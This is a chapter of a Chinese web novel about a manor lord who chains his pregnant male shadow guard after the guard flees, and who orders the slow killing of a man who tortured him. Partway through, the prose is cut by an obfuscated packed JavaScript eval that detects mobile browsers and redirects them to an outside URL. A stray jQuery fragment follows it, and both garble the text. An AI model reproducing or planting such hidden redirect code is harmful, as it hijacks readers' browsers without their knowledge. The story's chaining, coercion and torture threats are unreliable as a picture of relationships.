影九醒过来的时候,他正躺在床上,纱帐垂着,床间有些昏暗,外头站着两个人,影子映照在纱帐上。
是主子吗?
影九看不清楚,就连声音,传到影九耳边时,也带着几分模糊。
“伤都是外伤……没好好处理,有些感染了……”
“孩子还在,但受了惊吓,又吃了苦头,胎象有些不稳……”
影九伸手去拉纱帐,却扯到手腕上的链子,发出响声,影九看向手腕上缠绕着的金色链子,更加茫然了。
谢回砚听见了这道响声,没回头,他继续问:“欢好呢?”
柳怀之吃了一惊,他去看谢回砚,谢回砚面无表情,目光却有些玩味,让人猜不到他到底在想什么,估计是真的被影卫气狠了。
本着一个医者的本分,柳怀之道:“就算是谢庄主想要,也要再养上几日。”
“几日?”
“短则三五日,长则二十日。”
“你先下去吧。”
柳怀之不放心地叮嘱,“庄主,影九大人的身体,实在不适合折腾,你要是想要他的命的话……”
谢回砚不耐烦地打断:“我怎么会想要他的命呢,阿九是我心中至宝。”
语气透着古怪,柳怀之皱了皱眉,被谢回砚不留情地赶走了。
“让影一将那个人带过来。”
柳怀之点点头,门在他的眼前合上。
室内更加昏暗,只余下床边倾泻进来的日光。
谢回砚挑起纱帐,入目的就是影九乖巧地躺在床上的样子。
看见他,影九讷讷叫了声:“主子。”
影九不知道,谢回砚在床边盯了他一整夜。
谢回砚要影九一直处在他的目光下,再无逃跑的可能。
谢回砚顺着链子摸到影九的手腕上,影九轻轻颤了颤,谢回砚问:“不习惯?”
影九摇头,“属下擅自离开主子,这都是属下该受的惩罚。”
看吧,影九其实什么都清楚。
他知道自己这是擅自逃离,也知道一旦被抓到,一定会被惩罚。
只是……
谢回砚轻呵一声,他对上影九那双清亮的眼睛,“你以为这就是惩罚?”
谢回砚的手圈住影九脆弱的脖颈,谢回砚俯身到了影九身边,“我的好阿九,你的惩罚,还没开始呢。”
影九不寒而栗,本能让他有些害怕,忍不住地颤抖。
可他咬着唇,想要克制住这些颤抖,他怎么能怕主子呢。
影一在外头敲门,“主子,属下将人带过来了。”
谢回砚伸手,将影卫捞到自己怀里,锦被将影卫包了个严严实实,只露出影卫的脑袋。
“带进来。”
听见开门的声音,影九往谢回砚的怀里躲了躲。
谢回砚拍着他的背,柔声安慰他:“阿九,别怕。”
语气温柔,却跟以前的主子大相径庭。
影九愣愣睁着一双眼睛,耳朵里不断传来那人的求饶声,影九看过去。
谢回砚问:“还认识吗?”
影九点点头。
风县并不太平。
那日他刚到风县,就遇见了小偷,只是身手不怎么样,一个梅花镖就吓破了他们的胆子。
第二日,影九去药铺,又遇上当地的富人强抢药铺老板的女儿,准备带回去,当第十八位小妾。
影九出手,只是对方人多,他旧伤未愈,再加上腹痛难忍,没打过,被他们擒住,关进了地牢里。
富人不杀他。
只是日日上刑,来问他知错没有。
谢回砚的手紧了紧。
影九的全身,他都已经看过了。
背上有刀伤,应该是那日暗杀程永霖留下来的,一直没好好处理,有些感染了。
胸前有鞭伤,密密麻麻的,有的已经结痂,有的还在流血。
还有影卫……肚子里的孩子。
四个多月了,已经有了起伏,那样脆弱,又那样顽强,带给影卫不知道多少苦楚。
富人不断地磕头,请谢回砚饶他一命。
谢回砚眼神戏谑:“那日你的手下怎么说来着?要一刀一刀割下他的肉。”
“这都是那些人自作主张啊,我并不知情,大侠饶命啊,大侠。”
谢回砚勾唇道:“我倒是觉得这个提议挺好的,只是那人已经被我一刀毙命,只割了一刀,这余下的成百上千刀,便由你这个始作俑者,来承受吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484767|185685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,影一,拉出去。”
“是,主子。”
任凭那富人如何哭天抢地,如何挣扎,他的声音都渐行渐远。
影九仍旧望着门外,他动了动耳朵,没听见惨叫声,却仿佛闻到了血腥气。
胸口泛起恶心,影九有些难受。
影九痴痴望着门外的样子被谢回砚看在眼里,谢回砚问:“阿九,是觉得我太残忍了?”
影九摇了摇头,“是他应得的。”
“他犯了错,这是他应得的,那阿九你呢?“
影九攥紧手,不敢看谢回砚的眼睛,他道:“任凭主子处置。”
谢回砚卡住影九的下巴,逼迫影九对上他的眼睛,谢回砚轻声道:“阿九,别信任我,我就是这么残忍。”
影九一颤,温热的吻,落在他白皙的颈间。
谢回砚的手探进被子里,摸上影九凸起的肚子的时候,影九忍不住蜷缩起来。
这是个保护肚子的姿势。
在地牢里的日日夜夜,影九都是这样熬过来的。
他惶恐地问:“主子、你都、都知道了?”
谢回砚抬眼看他,影九的眼睛里面除了慌张之外,还有一点绝望。
他在绝望什么?
绝望逃走,又被他抓回来?
绝望身为男人,却又有了他的孩子?
谢回砚冷静的假面破碎,他双手按住影卫的肩膀,如同疯了一样质问:“影九,你就这么讨厌我吗?讨厌到必须要离开我?”
“不是、主子、不是这样的。”
他怎么会讨厌主子呢。
他只是一个影卫,他根本没有讨厌主子的权利。
同样的,他也没有对主子动心的权利。
自始至终,这些,都不属于他这个卑微的影卫。
“承认吧,阿九,你就是厌恶我。”
谢回砚的声音透着无力,就连他的影子都变得好荒凉。
不知道为什么,看着谢回砚这个样子,影九的心里一疼,他紧紧咬着唇,铁锈味在嘴里蔓延开来,依旧无法抵挡住,这份疼。
疼痛牵扯到他的肚子,影九发出一声闷哼。
谢回砚看过去,影九抱着肚子,额角正冒出细密的汗。